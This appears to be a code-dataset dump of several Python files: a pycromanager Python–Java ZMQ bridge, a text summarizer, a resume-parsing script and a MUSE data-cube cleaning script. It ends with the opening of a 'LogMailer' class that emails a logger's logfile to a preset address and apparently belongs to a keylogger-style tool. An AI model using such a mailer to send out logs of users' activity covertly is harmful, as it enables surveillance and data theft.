1000 * (time.time() - start) < timeout:\n try:\n reply = self._socket.recv_multipart(flags=zmq.NOBLOCK)\n if reply is not None:\n break\n except zmq.ZMQError:\n pass # ignore, keep trying\n if reply is None:\n return reply\n message = json.loads(reply[0].decode(\"iso-8859-1\"))\n # replace any byte data placeholders with the byte data itself\n for i in np.arange(1, len(reply), 2):\n # messages come in pairs: first is hash, second it byte data\n identity_hash = int.from_bytes(reply[i], byteorder=sys.byteorder)\n value = reply[i + 1]\n self._replace_bytes(message, identity_hash, value)\n\n if self._debug:\n print(\"DEBUG, recieved: {}\".format(message))\n self._check_exception(message)\n return message\n\n def _check_exception(self, response):\n if \"type\" in response and response[\"type\"] == \"exception\":\n raise Exception(response[\"value\"])\n\n def close(self):\n for java_object in self._java_objects:\n java_object._close()\n self._socket.close()\n while not self._socket.closed:\n time.sleep(0.01)\n self._socket = None\n if self._debug:\n print('closed socket {}'.format(self._port))\n\n\nclass Bridge:\n \"\"\"\n Create an object which acts as a client to a corresponding server (running in a Java process).\n This enables construction and interaction with arbitrary java objects. Each bridge object should\n be run using a context manager (i.e. `with Bridge() as b:`) or bridge.close() should be explicitly\n called when finished\n \"\"\"\n\n DEFAULT_PORT = 4827\n DEFAULT_TIMEOUT = 500\n _EXPECTED_ZMQ_SERVER_VERSION = \"4.1.0\"\n\n thread_local = threading.local()\n\n def __new__(cls, *args, **kwargs):\n \"\"\"\n Only one instance of Bridge per a thread\n \"\"\"\n port = kwargs.get('port', Bridge.DEFAULT_PORT)\n if hasattr(Bridge.thread_local, \"bridge\") and Bridge.thread_local.bridge is not None and port in Bridge.thread_local.bridge:\n Bridge.thread_local.bridge_count[port] += 1\n return Bridge.thread_local.bridge[port]\n else:\n if (not hasattr(Bridge.thread_local, \"bridge_count\")) or Bridge.thread_local.bridge_count is None:\n Bridge.thread_local.bridge_count = {}\n Bridge.thread_local.bridge_count[port] = 1\n return super(Bridge, cls).__new__(cls)\n\n def __init__(\n self, port=DEFAULT_PORT, convert_camel_case=True, debug=False, ip_address=\"127.0.0.1\", timeout=DEFAULT_TIMEOUT\n ):\n \"\"\"\n Parameters\n ----------\n port : int\n The port on which the bridge operates\n convert_camel_case : bool\n If True, methods for Java objects that are passed across the bridge\n will have their names converted from camel case to underscores. i.e. class.methodName()\n becomes class.method_name()\n debug : bool\n If True print helpful stuff for debugging\n \"\"\"\n self._ip_address = ip_address\n self._port = port\n self._closed = False\n if not hasattr(self, \"_context\"):\n Bridge._context = zmq.Context()\n # if hasattr(self.thread_local, \"bridge\") and port in self.thread_local.bridge:\n # return ### What was this supposed to do?\n if not hasattr(Bridge.thread_local, \"bridge\") or Bridge.thread_local.bridge is None:\n Bridge.thread_local.bridge = {}\n Bridge.thread_local.bridge[port] = self # cache a thread-local version of the bridge\n\n self._convert_camel_case = convert_camel_case\n self._debug = debug\n self._timeout = timeout\n self._master_socket = DataSocket(\n self._context, port, zmq.REQ, debug=debug, ip_address=self._ip_address\n )\n self._master_socket.send({\"command\": \"connect\", \"debug\": debug})\n self._class_factory = _JavaClassFactory()\n reply_json = self._master_socket.receive(timeout=timeout)\n if reply_json is None:\n raise TimeoutError(\n f\"Socket timed out after {timeout} milliseconds. Is Micro-Manager running and is the ZMQ server on {port} option enabled?\"\n )\n if reply_json[\"type\"] == \"exception\":\n raise Exception(reply_json[\"message\"])\n if \"version\" not in reply_json:\n reply_json[\"version\"] = \"2.0.0\" # before version was added\n if reply_json[\"version\"] != self._EXPECTED_ZMQ_SERVER_VERSION:\n warnings.warn(\n \"Version mistmatch between Java ZMQ server and Python client. \"\n \"\\nJava ZMQ server version: {}\\nPython client expected version: {}\"\n \"\\n To fix, update to BOTH latest pycromanager and latest micro-manager nightly build\".format(\n reply_json[\"version\"], self._EXPECTED_ZMQ_SERVER_VERSION\n )\n )\n\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n\n def close(self):\n Bridge.thread_local.bridge_count[self._port] -= 1\n if Bridge.thread_local.bridge_count[self._port] == 0:\n del Bridge.thread_local.bridge_count[self._port]\n del Bridge.thread_local.bridge[self._port]\n self._master_socket.close()\n self._master_socket = None\n self._closed = True\n\n if len(Bridge.thread_local.bridge) == 0:\n Bridge.thread_local.bridge = None\n Bridge.thread_local.bridge_count = None\n\n\n def get_class(self, serialized_object) -> typing.Type[\"JavaObjectShadow\"]:\n return self._class_factory.create(\n serialized_object, convert_camel_case=self._convert_camel_case\n )\n\n def construct_java_object(self, classpath, new_socket=False, args=None):\n \"\"\"\n Create a new instance of a an object on the Java side. Returns a Python \"Shadow\" of the object, which behaves\n just like the object on the Java side (i.e. same methods, fields). Methods of the object can be inferred at\n runtime using iPython autocomplete\n\n Parameters\n ----------\n classpath : str\n Full classpath of the java object\n new_socket : bool\n If True, will create new java object on a new port so that blocking calls will not interfere\n with the bridges master port\n args : list\n list of arguments to the constructor, if applicable\n Returns\n -------\n\n Python \"Shadow\" to the Java object\n \"\"\"\n if args is None:\n args = []\n # classpath_minus_class = '.'.join(classpath.split('.')[:-1])\n # query the server for constructors matching this classpath\n message = {\"command\": \"get-constructors\", \"classpath\": classpath}\n self._master_socket.send(message)\n constructors = self._master_socket.receive()[\"api\"]\n\n methods_with_name = [m for m in constructors if m[\"name\"] == classpath]\n if len(methods_with_name) == 0:\n raise Exception(\"No valid java constructor found with classpath {}\".format(classpath))\n valid_method_spec, deserialize_types = _check_method_args(methods_with_name, args)\n\n # Calling a constructor, rather than getting return from method\n message = {\n \"command\": \"constructor\",\n \"classpath\": classpath,\n \"argument-types\": valid_method_spec[\"arguments\"],\n \"argument-deserialization-types\": deserialize_types,\n \"arguments\": _package_arguments(valid_method_spec, args),\n }\n if new_socket:\n message[\"new-port\"] = True\n self._master_socket.send(message)\n serialized_object = self._master_socket.receive()\n if new_socket:\n socket = DataSocket(\n self._context, serialized_object[\"port\"], zmq.REQ, ip_address=self._ip_address\n )\n else:\n socket = self._master_socket\n return self._class_factory.create(\n serialized_object, convert_camel_case=self._convert_camel_case\n )(socket=socket, serialized_object=serialized_object, bridge=self)\n\n def _connect_push(self, port):\n \"\"\"\n Connect a push socket on the given port\n :param port:\n :return:\n \"\"\"\n return DataSocket(\n self._context, port, zmq.PUSH, debug=self._debug, ip_address=self._ip_address\n )\n\n def _connect_pull(self, port):\n \"\"\"\n Connect to a pull socket on the given port\n :param port:\n :return:\n \"\"\"\n return DataSocket(\n self._context, port, zmq.PULL, debug=self._debug, ip_address=self._ip_address\n )\n\n def get_magellan(self):\n \"\"\"\n return an instance of the Micro-Magellan API\n \"\"\"\n return self.construct_java_object(\"org.micromanager.magellan.api.MagellanAPI\")\n\n def get_core(self):\n \"\"\"\n Connect to CMMCore and return object that has its methods\n\n :return: Python \"shadow\" object for micromanager core\n \"\"\"\n if hasattr(self, \"core\"):\n return getattr(self, \"core\")\n self.core = self.construct_java_object(\"mmcorej.CMMCore\")\n return self.core\n\n def get_studio(self):\n \"\"\"\n return an instance of the Studio object that provides access to micro-manager Java APIs\n \"\"\"\n return self.construct_java_object(\"org.micromanager.Studio\")\n\n\nclass _JavaClassFactory:\n \"\"\"\n This class is responsible for generating subclasses of JavaObjectShadow. Each generated class is kept in a `dict`.\n If a given class has already been generate once it will be returns from the cache rather than re-generating it.\n \"\"\"\n\n def __init__(self):\n self.classes = {}\n\n def create(\n self, serialized_obj: dict, convert_camel_case: bool = True\n ) -> typing.Type[\"JavaObjectShadow\"]:\n \"\"\"Create a class (or return a class from the cache) based on the contents of `serialized_object` message.\"\"\"\n if serialized_obj[\"class\"] in self.classes.keys(): # Return a cached class\n return self.classes[serialized_obj[\"class\"]]\n else: # Generate a new class since it wasn't found in the cache.\n _java_class: str = serialized_obj[\"class\"]\n python_class_name_translation = _java_class.replace(\n \".\", \"_\"\n ) # Having periods in the name would be problematic.\n _interfaces = serialized_obj[\"interfaces\"]\n static_attributes = {\"_java_class\": _java_class, \"_interfaces\": _interfaces}\n\n fields = {} # Create a dict of field names with getter and setter funcs.\n for field in serialized_obj[\"fields\"]:\n fields[field] = property(\n fget=lambda instance, Field=field: instance._access_field(Field),\n fset=lambda instance, val, Field=field: instance._set_field(Field, val),\n )\n\n methods = {} # Create a dict of methods for the class by name.\n methodSpecs = serialized_obj[\"api\"]\n method_names = set([m[\"name\"] for m in methodSpecs])\n # parse method descriptions to make python stand ins\n for method_name in method_names:\n params, methods_with_name, method_name_modified = _parse_arg_names(\n methodSpecs, method_name, convert_camel_case\n )\n return_type = methods_with_name[0][\"return-type\"]\n fn = lambda instance, *args, signatures_list=tuple(\n methods_with_name\n ): instance._translate_call(signatures_list, args)\n fn.__name__ = method_name_modified\n fn.__doc__ = \"{}.{}: A dynamically generated Java method.\".format(\n _java_class, method_name_modified\n )\n sig = inspect.signature(fn)\n params = [\n inspect.Parameter(\"self\", inspect.Parameter.POSITIONAL_ONLY)\n ] + params # Add `self` as the first argument.\n return_type = (\n _JAVA_TYPE_NAME_TO_PYTHON_TYPE[return_type]\n if return_type in _JAVA_TYPE_NAME_TO_PYTHON_TYPE\n else return_type\n )\n fn.__signature__ = sig.replace(parameters=params, return_annotation=return_type)\n methods[method_name_modified] = fn\n\n newclass = type( # Dynamically create a class to shadow a java class.\n python_class_name_translation, # Name, based on the original java name\n (JavaObjectShadow,), # Inheritance\n {\n \"__init__\": lambda instance, socket, serialized_object, bridge: JavaObjectShadow.__init__(\n instance, socket, serialized_object, bridge\n ),\n **static_attributes,\n **fields,\n **methods,\n },\n )\n\n self.classes[_java_class] = newclass\n return newclass\n\n\nclass JavaObjectShadow:\n \"\"\"\n Generic class for serving as a python interface for a micromanager class using a zmq server backend\n \"\"\"\n\n _interfaces = (\n None # Subclasses should fill these out. This class should never be directly instantiated.\n )\n _java_class = None\n\n def __init__(self, socket, serialized_object, bridge: Bridge):\n self._socket = socket\n self._hash_code = serialized_object[\"hash-code\"]\n self._bridge = bridge\n # register objects with bridge so it can tell Java side to release them before socket shuts down\n socket._register_java_object(self)\n self._closed = False\n # atexit.register(self._close)\n\n def _close(self):\n if self._closed:\n return\n if not hasattr(self, \"_hash_code\"):\n return # constructor didnt properly finish, nothing to clean up on java side\n message = {\"command\": \"destructor\", \"hash-code\": self._hash_code}\n if self._bridge._debug:\n \"closing: {}\".format(self)\n self._socket.send(message)\n reply_json = self._socket.receive()\n if reply_json[\"type\"] == \"exception\":\n raise Exception(reply_json[\"value\"])\n self._closed = True\n\n def __del__(self):\n \"\"\"\n Tell java side this object is garbage collected so it can do the same if needed\n \"\"\"\n self._close()\n\n def _access_field(self, name):\n \"\"\"\n Return a python version of the field with a given name\n :return:\n \"\"\"\n message = {\"command\": \"get-field\", \"hash-code\": self._hash_code, \"name\": name}\n self._socket.send(message)\n return self._deserialize(self._socket.receive())\n\n def _set_field(self, name, value):\n \"\"\"\n Return a python version of the field with a given name\n :return:\n \"\"\"\n message = {\n \"command\": \"set-field\",\n \"hash-code\": self._hash_code,\n \"name\": name,\n \"value\": _serialize_arg(value),\n }\n self._socket.send(message)\n reply = self._deserialize(self._socket.receive())\n\n def _translate_call(self, method_specs, fn_args: tuple):\n \"\"\"\n Translate to appropriate Java method, call it, and return converted python version of its result\n Parameters\n ----------\n args :\n args[0] is list of dictionaries of possible method specifications\n kwargs :\n hold possible polymorphic args, or none\n \"\"\"\n # args that are none are placeholders to allow for polymorphism and not considered part of the spec\n # fn_args = [a for a in fn_args if a is not None]\n valid_method_spec, deserialize_types = _check_method_args(method_specs, fn_args)\n # args are good, make call through socket, casting the correct type if needed (e.g. int to float)\n message = {\n \"command\": \"run-method\",\n \"hash-code\": self._hash_code,\n \"name\": valid_method_spec[\"name\"],\n \"argument-types\": valid_method_spec[\"arguments\"],\n \"argument-deserialization-types\": deserialize_types,\n }\n message[\"arguments\"] = _package_arguments(valid_method_spec, fn_args)\n\n if self._bridge._closed:\n raise Exception('The Bridge used to create this has been closed. Are you trying to call it outside of a \"with\" block?')\n self._socket.send(message)\n return self._deserialize(self._socket.receive())\n\n def _deserialize(self, json_return):\n \"\"\"\n method_spec :\n info about the method that called it\n reply :\n bytes that represents return\n Returns\n -------\n An appropriate python type of the converted value\n \"\"\"\n if json_return[\"type\"] == \"exception\":\n raise Exception(json_return[\"value\"])\n elif json_return[\"type\"] == \"null\":\n return None\n elif json_return[\"type\"] == \"primitive\":\n return json_return[\"value\"]\n elif json_return[\"type\"] == \"string\":\n return json_return[\"value\"]\n elif json_return[\"type\"] == \"list\":\n return [self._deserialize(obj) for obj in json_return[\"value\"]]\n elif json_return[\"type\"] == \"object\":\n if json_return[\"class\"] == \"JSONObject\":\n return json.loads(json_return[\"value\"])\n else:\n raise Exception(\"Unrecognized return class\")\n elif json_return[\"type\"] == \"unserialized-object\":\n # inherit socket from parent object\n return self._bridge.get_class(json_return)(\n socket=self._socket, serialized_object=json_return, bridge=self._bridge\n )\n else:\n return deserialize_array(json_return)\n\n\ndef deserialize_array(json_return):\n \"\"\"\n Convert a serialized java array to the appropriate numpy type\n Parameters\n ----------\n json_return\n \"\"\"\n if json_return[\"type\"] in [\"byte-array\", \"int-array\", \"short-array\", \"float-array\"]:\n decoded = json_return[\"value\"]\n if json_return[\"type\"] == \"byte-array\":\n return np.frombuffer(decoded, dtype=\"=u1\").copy()\n elif json_return[\"type\"] == \"double-array\":\n return np.frombuffer(decoded, dtype=\"=f8\").copy()\n elif json_return[\"type\"] == \"int-array\":\n return np.frombuffer(decoded, dtype=\"=u4\").copy()\n elif json_return[\"type\"] == \"short-array\":\n return np.frombuffer(decoded, dtype=\"=u2\").copy()\n elif json_return[\"type\"] == \"float-array\":\n return np.frombuffer(decoded, dtype=\"=f4\").copy()\n\n\ndef _package_arguments(valid_method_spec, fn_args):\n \"\"\"\n Serialize function arguments and also include description of their Java types\n\n Parameters\n ----------\n valid_method_spec:\n fn_args :\n \"\"\"\n arguments = []\n for arg_type, arg_val in zip(valid_method_spec[\"arguments\"], fn_args):\n if isinstance(arg_val, JavaObjectShadow):\n arguments.append(_serialize_arg(arg_val))\n elif _JAVA_TYPE_NAME_TO_PYTHON_TYPE[arg_type] is object:\n arguments.append(_serialize_arg(arg_val))\n elif arg_val is None:\n arguments.append(_serialize_arg(arg_val))\n elif isinstance(arg_val, np.ndarray):\n arguments.append(_serialize_arg(arg_val))\n else:\n arguments.append(_serialize_arg(_JAVA_TYPE_NAME_TO_PYTHON_TYPE[arg_type](arg_val)))\n return arguments\n\n\ndef _serialize_arg(arg):\n if arg is None:\n return None\n if type(arg) in [bool, str, int, float]:\n return arg # json handles serialization\n elif type(arg) == np.ndarray:\n return arg.tobytes()\n elif isinstance(arg, JavaObjectShadow):\n return {\"hash-code\": arg._hash_code}\n else:\n raise Exception(\"Unknown argumetn type\")\n\n\ndef _check_single_method_spec(method_spec, fn_args):\n \"\"\"\n Check if a single method specificiation is compatible with the arguments the function recieved\n\n Parameters\n ----------\n method_spec :\n fn_args :\n \"\"\"\n if len(method_spec[\"arguments\"]) != len(fn_args):\n return False\n for arg_java_type, arg_val in zip(method_spec[\"arguments\"], fn_args):\n if isinstance(arg_val, JavaObjectShadow):\n if arg_java_type not in arg_val._interfaces:\n # check that it shadows object of the correct type\n return False\n elif type(arg_val) == np.ndarray:\n # For ND Arrays, need to make sure data types match\n if (\n arg_java_type != \"java.lang.Object\"\n and arg_val.dtype.type != _JAVA_ARRAY_TYPE_NUMPY_DTYPE[arg_java_type]\n ):\n return False\n elif not any(\n [\n isinstance(arg_val, acceptable_type)\n for acceptable_type in _JAVA_TYPE_NAME_TO_CASTABLE_PYTHON_TYPE[arg_java_type]\n ]\n ) and not (\n arg_val is None and arg_java_type in _JAVA_NON_PRIMITIVES\n ): # could be null if its an object\n # if a type that gets converted\n return False\n return True\n\n\ndef _check_method_args(method_specs, fn_args):\n \"\"\"\n Compare python arguments to java arguments to find correct function to call\n\n Parameters\n ----------\n method_specs :\n fn_args :\n\n Returns\n -------\n one of the method_specs that is valid\n \"\"\"\n valid_method_spec = None\n for method_spec in method_specs:\n if _check_single_method_spec(method_spec, fn_args):\n valid_method_spec = method_spec\n break\n\n if valid_method_spec is None:\n raise Exception(\n \"Incorrect arguments. \\nExpected {} \\nGot {}\".format(\n \" or \".join([\", \".join(method_spec[\"arguments\"]) for method_spec in method_specs]),\n \", \".join([str(type(a)) for a in fn_args]),\n )\n )\n\n # subclass NDArrays to the appropriate data type so they dont get incorrectly reconstructed as objects\n valid_method_spec = copy.deepcopy(valid_method_spec)\n deserialize_types = []\n for java_arg_class, python_arg_val in zip(valid_method_spec[\"arguments\"], fn_args):\n if isinstance(python_arg_val, np.ndarray):\n deserialize_types.append(\n [\n ja\n for ja, npdt in zip(\n _JAVA_ARRAY_TYPE_NUMPY_DTYPE.keys(), _JAVA_ARRAY_TYPE_NUMPY_DTYPE.values()\n )\n if python_arg_val.dtype.type == npdt\n ][0]\n )\n else:\n deserialize_types.append(java_arg_class)\n\n return valid_method_spec, deserialize_types\n\n\ndef _parse_arg_names(methods, method_name, convert_camel_case):\n method_name_modified = (\n _camel_case_2_snake_case(method_name) if convert_camel_case else method_name\n )\n # all methods with this name and different argument lists\n methods_with_name = [m for m in methods if m[\"name\"] == method_name]\n min_required_args = (\n 0\n if len(methods_with_name) == 1 and len(methods_with_name[0][\"arguments\"]) == 0\n else min([len(m[\"arguments\"]) for m in methods_with_name])\n )\n # sort with largest number of args last so lambda at end gets max num args\n methods_with_name.sort(key=lambda val: len(val[\"arguments\"]))\n method = methods_with_name[-1] # We only need to evaluate the overload with the most arguments.\n params = []\n unique_argument_names = []\n for arg_index, typ in enumerate(method[\"arguments\"]):\n hint = _CLASS_NAME_MAPPING[typ] if typ in _CLASS_NAME_MAPPING else \"object\"\n python_type = (\n _JAVA_TYPE_NAME_TO_PYTHON_TYPE[typ] if typ in _JAVA_TYPE_NAME_TO_PYTHON_TYPE else typ\n )\n if hint in unique_argument_names: # append numbers to end so arg hints have unique names\n i = 1\n while hint + str(i) in unique_argument_names:\n i += 1\n arg_name = hint + str(i)\n else:\n arg_name = hint\n unique_argument_names.append(arg_name)\n # this is how overloading is handled for now, by making default arguments as none, but\n # it might be better to explicitly compare argument types\n if arg_index >= min_required_args:\n default_arg_value = None\n else:\n default_arg_value = inspect.Parameter.empty\n params.append(\n inspect.Parameter(\n name=arg_name,\n kind=inspect.Parameter.POSITIONAL_OR_KEYWORD,\n default=default_arg_value,\n annotation=python_type,\n )\n )\n return params, methods_with_name, method_name_modified\n\n\ndef _camel_case_2_snake_case(name):\n s1 = re.sub(\"(.)([A-Z][a-z]+)\", r\"\\1_\\2\", name)\n return re.sub(\"([a-z0-9])([A-Z])\", r\"\\1_\\2\", s1).lower()\n\n\n_CLASS_NAME_MAPPING = {\n \"boolean\": \"boolean\",\n \"byte[]\": \"uint8array\",\n \"double\": \"float\",\n \"double[]\": \"float64_array\",\n \"float\": \"float\",\n \"int\": \"int\",\n \"int[]\": \"uint32_array\",\n \"java.lang.String\": \"string\",\n \"long\": \"int\",\n \"short\": \"int\",\n \"void\": \"void\",\n}\n_JAVA_ARRAY_TYPE_NUMPY_DTYPE = {\n \"byte[]\": np.uint8,\n \"short[]\": np.uint16,\n \"double[]\": np.float64,\n \"int[]\": np.int32,\n}\n_JAVA_TYPE_NAME_TO_PYTHON_TYPE = {\n \"boolean\": bool,\n \"double\": float,\n \"float\": float,\n \"byte[]\": np.ndarray,\n \"short[]\": np.ndarray,\n \"double[]\": np.ndarray,\n \"int[]\": np.ndarray,\n \"int\": int,\n \"java.lang.String\": str,\n \"long\": int,\n \"short\": int,\n \"char\": int,\n \"byte\": int,\n \"void\": None,\n \"java.lang.Object\": object,\n}\n# type conversions that allow for autocasting\n_JAVA_TYPE_NAME_TO_CASTABLE_PYTHON_TYPE = {\n \"boolean\": {bool},\n \"byte[]\": {np.ndarray},\n \"double\": {float, int},\n \"double[]\": {np.ndarray},\n \"float\": {float},\n \"int\": {int},\n \"int[]\": {np.ndarray},\n \"java.lang.String\": {str},\n \"long\": {int},\n \"short\": {int},\n \"char\": {int},\n \"byte\": {int},\n \"void\": {None},\n \"java.lang.Object\": {object},\n}\n_JAVA_NON_PRIMITIVES = {\"byte[]\", \"double[]\", \"int[]\", \"java.lang.String\", \"java.lang.Object\"}\n\nif __name__ == \"__main__\":\n # Test basic bridge operations\n import traceback\n\n b = Bridge()\n try:\n s = b.get_studio()\n except:\n traceback.print_exc()\n try:\n c = b.get_core()\n except:\n traceback.print_exc()\n a = 1\n","sub_path":"pycromanager/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":32955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"441592320","text":"\"\"\"\nCopyright (c) 2021 Anshul Patel\nThis code is licensed under MIT license (see LICENSE.MD for details)\n\n@author: Scrivener\n\"\"\"\n\n# Import Libraries\nimport sumy\nfrom sumy.parsers.plaintext import PlaintextParser\nfrom sumy.nlp.tokenizers import Tokenizer\nfrom sumy.summarizers.lsa import LsaSummarizer\n\n\nclass Summary:\n \"\"\"\n A class used to generate summary text from the transcribed text provided.\n\n ...\n\n Attributes\n ----------\n transcribed_text : str\n text extracted from video\n\n Methods\n -------\n summarize_text:\n Generate the summary using the LSA summarization algorithm.\n \"\"\"\n\n def __init__(self, transcribed_text):\n \"\"\"\n Parameters\n ----------\n transcribed_text : str\n text extracted from video\n \"\"\"\n self.transcribed_text = transcribed_text\n\n def summarize_text(self):\n \"\"\"\n Generate summary for Youtube videos with Closed Captions\n \"\"\"\n\n # initializing empty list\n summary_text = []\n # initialize a text parser taking in transcribed text, and setting\n # language to english\n parser = PlaintextParser.from_string(\n self.transcribed_text, Tokenizer(\"english\")\n )\n # initialize the summarizer object - you can use different summarization algorithms here\n # such has LexRank and Luhn\n summarizer = LsaSummarizer()\n # create a summary passing in the transcribed text and setting the\n # number of sentences\n summary = summarizer(parser.document, 10)\n\n # loop through sentences turning them into strings and appending them\n # to summary_text\n for sentences in summary:\n summary_text.append(str(sentences))\n\n # return summary_text to calling function\n return summary_text\n","sub_path":"source/main/summarize.py","file_name":"summarize.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"596779763","text":"import docx2txt\nfrom globalVariables import BDegree\nfrom globalVariables import MDegree\nimport re\nimport os\nfrom qwerty import samelinechecker\n\ntext = docx2txt.process(\"/Users/hiteshjain/Downloads/untitled4/Android_Developer.docx\")\n\n\ndef isContainsIT(collegename):\n x = re.search(\"^.+IT$\", collegename)\n if (x):\n return True\n else:\n return False\n\ndef isContainsTU(collegename):\n x = re.search(\"^.+TU$\", collegename)\n if (x):\n return True\n else:\n return False\n\n\ndef processing(path,fileName):\n text = docx2txt.process(os.path.join(path, fileName))\n content = []\n result = []\n for line in text.splitlines():\n # This will ignore empty/blank lines.\n if line != '':\n # Append to list\n content.append(line)\n\n length = len(content)\n result = []\n text = 0\n bachelors = \"\"\n master = \"\"\n check = False\n\n while text < length:\n if (\"engineering\" in content[text].lower() and \"college\" in content[text].lower()) or \\\n (\"engg\" in content[text].lower() and \"college\" in content[text].lower()) or \\\n (\"institute\" in content[text].lower() and \"technology\" in content[text].lower()) or \\\n ((\"board / university\" not in content[text].lower()) and (\"university\" in content[text].lower())) or \\\n (isContainsIT(content[text])) or \\\n (\"university\" in content[text].lower() and \"board\" not in content[text].lower()) or \\\n (isContainsTU(content[text])) or \\\n (\"college of\" in content[text].lower()):\n\n temp1 = text\n count = 0\n while (count < 5):\n content[temp1] = content[temp1].replace(\"CS\",\"\")\n content[temp1] = content[temp1].replace(\"IT\",\"\")\n content[temp1] = content[temp1].replace(\"computer science\",\"\")\n content[temp1] = content[temp1].replace(\"information technology\",\"\")\n content[temp1] = content[temp1].replace(\"Computer science engineering\",\"\")\n temp2 = ''.join(e for e in content[temp1] if e.isalnum())\n if temp2.lower() in MDegree:\n check = True\n master = master + content[temp1] + \" \"\n master = master + content[text]\n if temp2.lower() in BDegree:\n check = True\n bachelors = bachelors + content[temp1] + \" \"\n bachelors = bachelors + content[text]\n temp1 = temp1 - 1\n count = count + 1\n temp1 = text\n count = 0\n while (count < 5):\n temp2 = ''.join(e for e in content[temp1] if e.isalnum())\n if temp2.lower() in MDegree and check == False:\n master = master + content[temp1] + \" \"\n master = master + content[text]\n if temp2.lower() in BDegree and check == False:\n bachelors = bachelors + content[temp1] + \" \"\n bachelors = bachelors + content[text]\n temp1 = temp1 + 1\n count = count + 1\n if len(master) == 0 and len(bachelors) == 0 :\n # check in same line\n # print(content[text])\n degree , collegename = samelinechecker(content[text])\n master = master + degree + \" \" + collegename + \" \"\n\n\n text = text + 1\n\n # print(master + \"\\n\" + bachelors)\n result.append(fileName)\n result.append(master)\n result.append(bachelors)\n\n return result\n\n\n # print(globalVariables.BDegree)","sub_path":"doctotxt.py","file_name":"doctotxt.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"303787461","text":"# -*- coding: utf-8 -*-\n\"\"\" \n\nCreated on 18/12/17\n\nAuthor : Carlos Eduardo Barbosa\n\nUse of ZAP (and possibly other routines) to clean the spectra from MUSE data\ncubes in the Hydra IMF study in the MUSE dataset, where sky-offset observations\nare available\n\n\"\"\"\nfrom __future__ import print_function, division\nimport os\n\nimport numpy as np\nfrom astropy.io import fits\nfrom astropy.table import Table, vstack\nfrom multiprocessing import cpu_count\nimport zap\nimport matplotlib.pyplot as plt\n\nimport context\nfrom source_extraction import run_sextractor\nfrom geomfov import calc_isophotes\n\n\ndef fits_info(direc):\n \"\"\" Print object information according to headers for all fits files\n inside a directory. \"\"\"\n fitsfiles = sorted([_ for _ in os.listdir(direc) if _.endswith(\".fits\")])\n info = {}\n for fname in fitsfiles:\n h = fits.getheader(os.path.join(direc, fname))\n if \"OBJECT\" not in h.keys():\n continue\n obj = h[\"object\"]\n info[obj] = fname\n cubes = dict([(x,y) for (x,y) in info.iteritems() if \"white\" not in x\n and \"SKY\" not in x])\n table = []\n for cube in cubes:\n cubename = cubes[cube]\n skycube = info[\"SKY_for_{}\".format(cube)]\n imgkey = [_ for _ in info if _.startswith(cube) and\n _.endswith(\"(white)\")][0]\n skyimgkey = \"SKY_for_{}\".format(imgkey)\n imgname = info[imgkey]\n skyimgname = info[skyimgkey]\n t = Table(data = [[cube,], [cubename,], [imgname,], [skycube,],\n [skyimgname,]],\n names=[\"name\", \"cube\", \"image\", \"sky\", \"skyimage\"])\n table.append(t)\n table = vstack(table)\n return table\n\ndef mask_sources(img, cat, redo=False, output=None):\n \"\"\" Produces segmentation image with bins for detected sources using\n elliptical regions. \"\"\"\n if output is None:\n output = \"mask.fits\"\n if os.path.exists(output) and not redo:\n return output\n data = fits.getdata(img)\n ydim, xdim = data.shape\n xx, yy = np.meshgrid(np.arange(1, xdim + 1), np.arange(1, ydim + 1))\n table = Table.read(cat, 1)\n axratio = table[\"B_IMAGE\"] / table[\"A_IMAGE\"]\n table = table[axratio > 0.4]\n segmentation = np.zeros_like(data)\n for source in table:\n R = calc_isophotes(xx, yy, source[\"X_IMAGE\"], source[\"Y_IMAGE\"], \\\n source[\"THETA_IMAGE\"] - 90, source[\"B_IMAGE\"] /\n source[\"A_IMAGE\"])\n Rmax = source[\"A_IMAGE\"] * source[\"KRON_RADIUS\"]\n segmentation += np.where(R <= Rmax, source[\"NUMBER\"], 0.)\n d = np.copy(data)\n d[segmentation!=0] = np.nan\n hdu = fits.PrimaryHDU(d)\n hdu.writeto(output, overwrite=True)\n return output\n\ndef make_zap_mask(dataset, redo=False):\n \"\"\" Produces a mask to be used by ZAP based on field D. \"\"\"\n output = \"{}_zap_mask.fits\".format(dataset[\"name\"])\n if os.path.exists(output) and not redo:\n return output\n img = dataset[\"skyimage\"]\n skycat = run_sextractor(img, redo=True,\n outfile=\"{}_skysources.fits\".format(dataset[\"name\"]))\n skymask = mask_sources(img, skycat, output=\"{}_skymask.fits\".format(\n dataset[\"name\"]))\n data = fits.getdata(skymask)\n idxsky = np.where(np.isfinite(data))\n idxmask = np.where(np.isnan(data))\n data[idxsky] = 0\n data[idxmask] = 1\n hdu = fits.PrimaryHDU(data)\n hdu.writeto(output, overwrite=True)\n return output\n\n\nif __name__ == \"__main__\":\n redo=False\n for field in context.fields:\n wdir = os.path.join(context.data_dir, \"MUSE\", field)\n os.chdir(wdir)\n datasets = fits_info(wdir)\n for dataset in datasets:\n outcube = \"{}.fits\".format(dataset[\"name\"])\n data = fits.getdata(dataset[\"cube\"])\n newdata = fits.getdata(outcube)\n plt.plot(data[:,235,212] - newdata[:,235,212], \"-\")\n plt.show()\n break\n\n\n # if os.path.exists(outcube) and not redo:\n # continue\n # zapmask = make_zap_mask(dataset)\n # ncpu = cpu_count() -1\n # extSVD = zap.SVDoutput(dataset[\"sky\"], mask=zapmask, ncpu=ncpu)\n # zap.process(dataset[\"cube\"], outcubefits=outcube, extSVD=extSVD,\n # ncpu=ncpu)\n break","sub_path":"clean_cubes.py","file_name":"clean_cubes.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"19650696","text":"#!/usr/bin/python3\n\nimport os\nimport binascii\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom threading import Thread\nfrom time import sleep\n\nEMAIL_ADDR = ''\nEMAIL_PASS = ''\nSMTP_ADDR = ''\nSMTP_PORT = 587\n\nclass LogMailer(Thread):\n\t'''Mails a logfile held by a logger to a predefined email address.'''\n\tdef __init__(self, logger):\n\t\t# Init Thread\n\t\tThread.__init__(self)\n\n\t\t# 